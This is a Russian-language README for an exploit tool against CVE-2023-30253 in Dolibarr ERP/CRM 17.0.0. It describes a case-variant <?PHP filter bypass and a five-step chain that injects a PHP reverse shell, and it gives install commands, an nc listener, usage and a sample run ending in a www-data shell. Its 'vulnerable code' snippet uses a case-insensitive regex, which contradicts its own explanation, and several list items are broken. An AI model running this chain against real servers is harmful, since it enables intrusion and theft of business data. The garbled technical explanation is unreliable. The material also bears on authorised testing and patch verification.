
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE через инъекцию PHP-кода (образовательный эксплойт)
Эксплойт PHP-инъекции для Dolibarr ERP/CRM v17.0.0, позволяющий получить обратную оболочку от пользователя www-data через модуль Website/CMS.
⚠️ Только для образовательных целей и аудита с разрешения.
CVE-2023-30253 — это уязвимость внедрения PHP-кода (CWE-94: Improper Control of Generation of Code) в Dolibarr ERP/CRM версий ниже 17.0.1.
Была обнаружена и сообщена командой Swascan (ныне Hacktivesecurity) в мае 2023 года. Уязвимость находится в модуле Website/CMS, который позволяет аутентифицированным пользователям создавать и управлять веб-сайтами в Dolibarr.
| Поле | Значение |
|---|---|
| CVE | CVE-2023-30253 |
| CVSS v3.1 | 8.8 (ВЫСОКИЙ) |
| Вектор | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Тип | CWE-94 — Внедрение кода |
| Затронутое ПО | Dolibarr ERP/CRM < 17.0.1 |
| Привилегии | Аутентифицированный пользователь (любая роль) |
| Патч | Dolibarr 17.0.1 — коммит 4f6055c |
Dolibarr реализует фильтр для предотвращения внедрения PHP-кода в содержимое страниц модуля Website. Однако у этого фильтра есть критический недостаток: он чувствителен к регистру.
// Уязвимый код (упрощённый) в Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
// Блокирует только "<?php" в точном нижнем регистре... или нет?
die("PHP code detected!");
}
Фильтр ищет буквально строку <?php в нижнем регистре. Но PHP допускает любое сочетание регистров для открывающего тега. Это означает:
| Тег | Отфильтровано? | Выполнено PHP? |
|---|---|---|
<?php ... ?> | ✅ | ✅ |
<?PHP ... ?> | ❌ | ✅ |
<?Php ... ?> | ❌ | ✅ |
<?pHp ... ?> | ❌ | ✅ |
Эксплойт использует <?PHP (в верхнем регистре) для обхода фильтра, но подойдёт любой вариант.
Кроме того, фильтр применяется только в момент сохранения содержимого. При отдаче страницы Dolibarr передаёт содержимое интерпретатору PHP без дополнительной очистки, и тот выполняет любой код с открывающим тегом <?.
Аутентифицированный злоумышленник может:
/etc/passwd, конфигурация)Почему это критично? Dolibarr используется как корпоративная ERP/CRM. Вторжение может раскрыть данные клиентов, финансовые данные, контракты и внутренние учётные записи.
Эксплойт автоматизирует полный процесс эксплуатации в 5 шагов:
┌─────────────────────────────────────────────────────────┐
│ CVE-2023-30253 │
│ │
│ 1. Вход → Аутентификация в Dolibarr │
│ 2. Создать сайт → Создание пустого веб-сайта │
│ 3. Создать стр. → Создание страницы на сайте │
│ 4. Внедрить шелл→ Внедрение PHP reverse shell │
│ 5. Запуск → Выполнение полезной нагрузки │
│ │
│ Результат: 🎯 Обратная оболочка от www-data │
└─────────────────────────────────────────────────────────┘
Особенности:
pageidfsockopen + proc_openrequestsbeautifulsoup4Или просто:
pip install -r requirements.txt
# Клонирование репозитория
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit
# Установка зависимостей
pip install -r requirements.txt
python exploit.py <target> <username> <password> <lhost> <lport> [опции]
Позиционные аргументы:
| Аргумент | Описание | Пример |
|---|---|---|
target | Базовый URL Dolibarr | http://crm.board.htb |
username | Пользователь Dolibarr | admin |
password | Пароль Dolibarr | admin |
lhost | Ваш IP (для получения оболочки) | 10.10.14.5 |
lport | Ваш порт (для получения оболочки) | 4444 |
Опции:
| Опция | Описание |
|---|---|
-v, --verbose | Показывает подробную отладочную информацию |
--no-color | Отключает цвета в выводе |
-h, --help | Показывает справку и примеры |
nc -lvnp 4444
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════
Target: http://crm.board.htb
User: admin
LHOST: 10.10.14.5
LPORT: 4444
Site ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] Шаг 1/5: Вход в систему...
[10:45:12] ✓ Сессия успешно начата
[10:45:13] Шаг 2/5: Создание веб-сайта...
[10:45:13] ✓ Веб-сайт 's3a1f2bc' создан
[10:45:13] Шаг 3/5: Создание страницы на сайте...
[10:45:13] ✓ Страница создана на сайте
[10:45:14] Шаг 4/5: Внедрение обратной оболочки → 10.10.14.5:4444...
[10:45:14] ✓ Код PHP успешно внедрен
[10:45:14] Шаг 5/5: Выполнение полезной нагрузки (trigger)...
════════════════════════════════════════════════════════
ЭКСПЛУАТАЦИЯ ЗАВЕРШЕНА
════════════════════════════════════════════════════════
Trigger URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
Инструкции:
1. В другом терминале запустите слушатель:
nc -lvnp 4444
2. Перейдите по Trigger URL (эксплойт уже это сделал)
3. Вы получите обратную оболочку от www-data
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)